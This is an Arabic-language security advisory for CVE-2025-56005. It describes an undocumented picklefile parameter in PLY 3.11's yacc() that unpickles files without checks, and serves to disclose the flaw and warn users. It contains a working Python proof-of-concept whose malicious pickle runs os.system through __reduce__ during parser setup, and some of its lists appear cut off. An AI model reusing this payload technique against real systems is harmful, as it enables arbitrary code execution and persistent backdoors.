
RCE غير موثّق في PLY عبر معلمة `picklefile`
CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`
تتيح ميزة غير موثّقة وغير آمنة في النسخة الموزّعة عبر PyPI من PLY 3.11 تنفيذ تعليمات برمجية عشوائية عند استدعاء الدالة yacc() مع المعامل picklefile.
يتسبب المعامل picklefile في قيام PLY بإلغاء تسلسل ملف .pkl باستخدام pickle.load() من Python دون التحقق منه. ولأن وحدة pickle في Python تدعم تنفيذ تعليمات برمجية عشوائية أثناء إلغاء التسلسل (على سبيل المثال، عبر __reduce__())، فإن المهاجم الذي يستطيع التحكم في ملف pickle المُقدَّم يمكنه تنفيذ تعليمات برمجية عشوائية أثناء تهيئة المحلّل.
هذا المعامل غير موثّق في وثائق PLY الرسمية أو مستودع GitHub، ومع ذلك فهو فعّال في إصدار PyPI.
إذا تمكّن المهاجم من التحكم في ملف .pkl المُمرَّر إلى yacc(picklefile=...) أو استبداله أو التأثير عليه، فيمكنه تحقيق ما يلي:
قد يؤثر ذلك على التطبيقات التي تحمّل جداول المحلّل من:
ply.yacc.yacc(picklefile=...)LRTable.read_pickle() في ply/yacc.pyتُمثّل هذه الثغرة خطرًا مرتفعًا نظرًا لطبيعتها الخفية وإمكانية استمراريتها.
المعامل picklefile غير موثّق في وثائق PLY الرسمية ومستودع GitHub. ومع ذلك، تتضمن النسخة الموزّعة عبر PyPI من PLY 3.11 هذه الوظيفة وتعالج الملف المُقدَّم باستخدام pickle.load() دون التحقق منه.
ولأن وحدة pickle في Python تسمح بتنفيذ تعليمات برمجية مضمّنة أثناء إلغاء التسلسل، يمكن لملف pickle ضار تنفيذ تعليمات برمجية عشوائية أثناء إعداد المحلّل، قبل استدعاء أي منطق تحليل.
في وقت كتابة هذا التقرير، لم يقرّ القائم على الصيانة علنًا بهذا السلوك.
يمكن استغلال هذه الوظيفة لإدخال أبواب خلفية دائمة، لا سيما في البيئات التي تكون فيها ملفات جداول المحلّل:
نظرًا لعدم وجود توثيق، ومسار التنفيذ الصامت، والتأثير الكبير لإلغاء التسلسل غير الآمن، فإن تعيين CVE مبرَّر لرفع الوعي وحماية المستخدمين النهائيين.
يوضّح إثبات المفهوم هذا تنفيذ تعليمات برمجية عشوائية عند تقديم ملف pickle ضار عبر المعامل غير الموثّق picklefile.
يقوم PoC بما يلي:
عند استدعاء yacc(picklefile='exploit.pkl')، يتم تنفيذ تعليمات برمجية عشوائية أثناء تهيئة المحلّل.
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
picklefile مع ملفات غير موثوقة أو قابلة للكتابة من الخارج